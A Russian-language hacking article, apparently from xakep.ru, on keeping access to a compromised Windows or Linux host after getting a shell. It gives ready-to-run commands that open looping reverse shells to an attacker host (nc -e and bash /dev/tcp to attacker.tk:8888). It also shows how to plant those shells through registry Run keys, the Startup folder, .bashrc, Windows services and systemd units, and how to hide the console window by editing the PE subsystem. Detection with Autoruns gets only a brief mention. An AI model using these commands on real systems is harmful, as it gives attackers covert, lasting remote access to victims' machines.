Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Когда получен шелл на хосте, первое, что необходимо сделать, — это обеспечить себе «постоянство» (persistence) в системе. Ведь во многих случаях на RCE может быть лишь одна попытка, а значит, недопустимо потерять доступ из‑за каких‑нибудь досадных обстоятельств.
Есть разные способы организовать возможность постоянного присутствия, у каждого свои достоинства и недостатки:
записать что‑либо на HDD:
внедрить код в RAM:
изменить конфигурацию ОС:
Чаще всего при закреплении в системе все же приходится обращаться к диску, поскольку это единственный способ не вылететь из‑за случайной перезагрузки. В общем случае успешность такой персистентности зависит от двух факторов:
Очевидно, что с точки зрения закрепления Linux — более приоритетная система. Компьютеры с ним, как правило, редко обслуживаются пользователями и не перезагружаются месяцами. Да и как точка опоры они подходят больше. Хосты под управлением Linux удобны еще и потому, что они редко защищены антивирусом, а антивирус для персистентности — это ощутимая проблема.
В свою очередь, в Windows больше вариантов автозагрузки, что может помочь лучше замаскироваться в ее недрах. Ведь, в отличие от проникновения в Linux, нам почти всегда придется работать рядом с пользователем, опытным или не очень.
Когда имеешь дело не с одной целью, а с целой группой, весьма удобно использовать для машины атакующего доменное имя, а не IP. Тогда для каждой жертвы или группы жертв можно будет задать свое уникальное имя в DNS-зоне атакующего (далее в примерах — attacker.tk). Это позволяет эффективнее управлять жертвами. Выглядит это примерно так.
Если антивирусы не главная проблема, то в качестве reverse shell часто можно использовать простые nc.exe, ncat.exe и socat.exe. Все они обладают возможностями RAT и зачастую нормально проходят антивирус. Поскольку это программы, работающие из командной строки, можно сделать их запуск на машине жертвы незаметным. В Windows для этого достаточно поменять subsystem у исполняемого файла:
pe header → optional header nt fields → subsystem → GUI (0x0002)
Описанные далее примеры помогут не только при закреплении на машине жертвы, но и для выявления фактов компрометации.
Анализ элементов автозагрузки — это часто поиск иголки в стоге сена. Обычно приходится судить по названию исполняемого файла, тому, где он находится (в правильных местах или где‑то в профиле пользователя), а также по названию и описанию компании‑разработчика, зашитым внутри файла. Впрочем, ничто не мешает атакующему подделать эти данные.
Антивирусы же, как правило, не удаляют записи в списках автозагрузки, а удаляют сами исполняемые файлы. Поэтому битая ссылка в автозагрузке — тревожный сигнал.
Во многих случаях для персистентности могут потребоваться права администратора. Это тоже может стать проблемой, ведь далеко не каждый шелл обладает нужными привилегиями. Поэтому в каждом примере я буду помечать символом $
ввод непривилегированного пользователя, а #
— администратора. Для обнаружения будем использовать утилиту Autoruns, результаты ты можешь наблюдать на скриншотах.
Организовать персистентность можно прямо из командной строки. Чтобы шелл открывался всегда, используем команду с бесконечным циклом, уходящую в фон.
Windows
Вот как это работает в Windows:
cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe attacker.tk 8888 -e cmd.exe & ping -n 60 127.0.0.1 )"
Linux
bash$> ( bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done"; )&
bash$> nohup bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done" &
Говоря о персистентности, нельзя пройти мимо классической и всем известной автозагрузки. Ее преимущество в том, что она будет работать с правами любого, даже неадминистративного пользователя.
Windows
cmd$> copy meter.exe %APPDATA%RoamingMicrosoftWindowsStart MenuProgramsStartupcmd$> reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionRun" /v persistence /t REG_SZ /d "C:usersusernamemeter.exe"cmd#> copy meter.exe C:ProgramDataMicrosoftWindowsStart MenuProgramsStartupcmd#> reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v persistence /t REG_SZ /d "C:Windowssystem32meter.exe"
Linux
bash$> echo "nc attacker.tk 8888 -e /bin/bash 2>/dev/null &" >> ~/.bashrc
Использовать службу для закрепления более выгодно, чем автозагрузку, так как Service Manager будет сам перезапускать службу, если потребуется.
Для Windows создание службы потребует права администратора.
cmd#> sc create persistence binPath= "nc.exe -e windowssystem32cmd.exe attacker.tk 8888" start= auto
cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000
cmd#> sc start persistence
В Linux создать службу можно и с учетки простого пользователя. Вот варианты для рута и для простого пользователя.
bash#> vim /etc/systemd/system/persistence.service
bash$> vim ~/.config/systemd/user/persistence.service
Содержимое файла:
[Unit]Description=persistence[Service]ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.tk/8888 0>&1'Restart=alwaysRestartSec=60[Install]WantedBy=default.target
И запускаем созданную службу:
bash#> systemctl enable persistence.service
bash#> systemctl start persistence.service
bash$> systemctl --user enable persistence.service
bash$> systemctl --user start persistence.service
Создание запланированной задачи — весьма удобный способ поддержания доступа. Заодно можно задать время и интервал запуска. Но делать это разрешено, как правило, только привилегированным пользователям.
Источник: xakep.ru